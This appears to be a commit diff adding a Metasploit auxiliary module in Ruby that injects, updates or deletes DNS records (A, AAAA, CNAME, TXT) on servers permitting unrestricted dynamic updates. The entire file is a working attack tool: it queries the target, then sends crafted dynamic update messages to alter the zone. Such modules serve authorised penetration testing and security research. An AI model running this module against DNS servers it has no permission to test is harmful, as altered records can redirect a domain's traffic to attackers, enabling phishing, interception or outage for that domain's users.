|
| 1 | +# -*- coding: binary -*- |
| 2 | +## |
| 3 | +# This module requires Metasploit: http://metasploit.com/download |
| 4 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 5 | +## |
| 6 | +require 'dnsruby' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + def initialize |
| 11 | + super( |
| 12 | + 'Name' => 'DNS Server Dynamic Update Record Injection', |
| 13 | + 'Description' => %q{ |
| 14 | + This module allows adding and/or deleting a record to |
| 15 | + any remote DNS server that allows unrestricted dynamic updates.}, |
| 16 | + 'Author' => [ |
| 17 | + 'King Sabri <king.sabri[at]gmail.com>', |
| 18 | + 'Brent Cook <brent_cook[at]rapid7.com>' |
| 19 | + ], |
| 20 | + 'References' => [ |
| 21 | + ['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'], |
| 22 | + ['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'], |
| 23 | + ['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'], |
| 24 | + ['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py'] |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Actions' => [ |
| 28 | + ['UPDATE', {'Description' => 'Add or update a record. (default)'}], |
| 29 | + ['ADD', {'Description' => 'Add a new record. Fail if it already exists.'}], |
| 30 | + ['DELETE', {'Description' => 'Delete an existing record.'}] |
| 31 | + ], |
| 32 | + 'DefaultAction' => 'UPDATE' |
| 33 | + ) |
| 34 | + |
| 35 | + register_options([ |
| 36 | + OptString.new('DOMAIN', [true, 'The domain name']), |
| 37 | + OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']), |
| 38 | + OptString.new('HOSTNAME', [true, 'The name record you want to add']), |
| 39 | + OptAddress.new('IP', [false, 'The IP you want to assign to the record']), |
| 40 | + OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']), |
| 41 | + OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]), |
| 42 | + OptAddress.new('CHOST', [false, 'The source address to use for queries and updates']) |
| 43 | + ]) |
| 44 | + |
| 45 | + deregister_options('RPORT') |
| 46 | + end |
| 47 | + |
| 48 | + def record_action(type, type_enum, value, action) |
| 49 | + # Send the update to the zone's primary master. |
| 50 | + domain = datastore['DOMAIN'] |
| 51 | + fqdn = "#{datastore['HOSTNAME']}.#{domain}" |
| 52 | + opts = {nameserver: datastore['RHOST']} |
| 53 | + if datastore['CHOST'] && datastore['CHOST'] != "" |
| 54 | + if Rex::Socket.is_ipv4?(datastore['CHOST']) |
| 55 | + opts[:src_address] = datastore['CHOST'] |
| 56 | + elsif Rex::Socket.is_ipv6?(datastore['CHOST']) |
| 57 | + opts[:src_address6] = datastore['CHOST'] |
| 58 | + end |
| 59 | + end |
| 60 | + resolver = Dnsruby::Resolver.new(opts) |
| 61 | + update = Dnsruby::Update.new(domain) |
| 62 | + updated = false |
| 63 | + case |
| 64 | + when action == :resolve |
| 65 | + begin |
| 66 | + answer = resolver.query(fqdn, type) |
| 67 | + print_good "Found existing #{type} record for #{fqdn}" |
| 68 | + return true |
| 69 | + rescue Dnsruby::ResolvError, IOError => e |
| 70 | + print_good "Did not find an existing #{type} record for #{fqdn}" |
| 71 | + vprint_error "Query failed: #{e.message}" |
| 72 | + return false |
| 73 | + end |
| 74 | + when action == :add |
| 75 | + print_status("Sending dynamic DNS add message...") |
| 76 | + update.absent("#{fqdn}.", type) |
| 77 | + update.add("#{fqdn}.", type_enum, 86400, value) |
| 78 | + begin |
| 79 | + resolver.send_message(update) |
| 80 | + print_good "The record '#{fqdn} => #{value}' has been added!" |
| 81 | + updated = true |
| 82 | + rescue Dnsruby::ResolvError, IOError => e |
| 83 | + print_error "Cannot add #{fqdn}" |
| 84 | + vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record." |
| 85 | + vprint_error "Update failed: #{e.message}" |
| 86 | + end |
| 87 | + when action == :delete |
| 88 | + begin |
| 89 | + print_status("Sending dynamic DNS delete message...") |
| 90 | + update.present(fqdn, type) |
| 91 | + update.delete(fqdn, type) |
| 92 | + resolver.send_message(update) |
| 93 | + print_good("The record '#{fqdn} => #{value}' has been deleted!") |
| 94 | + updated = true |
| 95 | + rescue Dnsruby::ResolvError, IOError => e |
| 96 | + print_error "Cannot delete #{fqdn}" |
| 97 | + vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record." |
| 98 | + vprint_error "Update failed: #{e.message}" |
| 99 | + end |
| 100 | + end |
| 101 | + updated |
| 102 | + end |
| 103 | + |
| 104 | + def update_record(type:, type_enum:, value:, value_name:) |
| 105 | + if value.nil? || value == "" |
| 106 | + print_error "Record type #{type} requires the #{value_name} parameter to be specified" |
| 107 | + return |
| 108 | + end |
| 109 | + force = datastore['CHOST'] && datastore['CHOST'] != "" |
| 110 | + case |
| 111 | + when action.name == 'UPDATE' |
| 112 | + if force |
| 113 | + record_action(type, type_enum, value, :delete) |
| 114 | + record_action(type, type_enum, value, :add) |
| 115 | + else |
| 116 | + if record_action(type, type_enum, value, :resolve) |
| 117 | + if record_action(type, type_enum, value, :delete) |
| 118 | + record_action(type, type_enum, value, :add) |
| 119 | + end |
| 120 | + else |
| 121 | + record_action(type, type_enum, value, :add) |
| 122 | + end |
| 123 | + end |
| 124 | + when action.name == 'ADD' |
| 125 | + if force |
| 126 | + record_action(type, type_enum, value, :add) |
| 127 | + else |
| 128 | + if record_action(type, type_enum, value, :resolve) == false |
| 129 | + record_action(type, type_enum, value, :add) |
| 130 | + else |
| 131 | + print_error "Record already exists, try DELETE or UPDATE" |
| 132 | + end |
| 133 | + end |
| 134 | + when action.name == 'DELETE' |
| 135 | + if force |
| 136 | + record_action(type, type_enum, value, :delete) |
| 137 | + else |
| 138 | + if record_action(type, type_enum, value, :resolve) |
| 139 | + record_action(type, type_enum, value, :delete) |
| 140 | + else |
| 141 | + print_error "Record does not exist, not deleting" |
| 142 | + end |
| 143 | + end |
| 144 | + end |
| 145 | + end |
| 146 | + |
| 147 | + def run |
| 148 | + ip = datastore['IP'] |
| 149 | + value = datastore['VALUE'] |
| 150 | + begin |
| 151 | + case |
| 152 | + when datastore['TYPE'] == 'A' |
| 153 | + update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP') |
| 154 | + when datastore['TYPE'] == 'AAAA' |
| 155 | + update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP') |
| 156 | + when datastore['TYPE'] == 'CNAME' |
| 157 | + update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE') |
| 158 | + when datastore['TYPE'] == 'TXT' |
| 159 | + update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE') |
| 160 | + else |
| 161 | + print_error "Invalid Record Type!" |
| 162 | + end |
| 163 | + rescue ArgumentError => e |
| 164 | + print_error(e.message) |
| 165 | + rescue Dnsruby::OtherResolvError |
| 166 | + print_error("Connection Refused!") |
| 167 | + rescue Dnsruby::DecodeError |
| 168 | + print_error("Invalid DNS reply, ensure you are connecting to a DNS server") |
| 169 | + end |
| 170 | + end |
| 171 | +end |
0 commit comments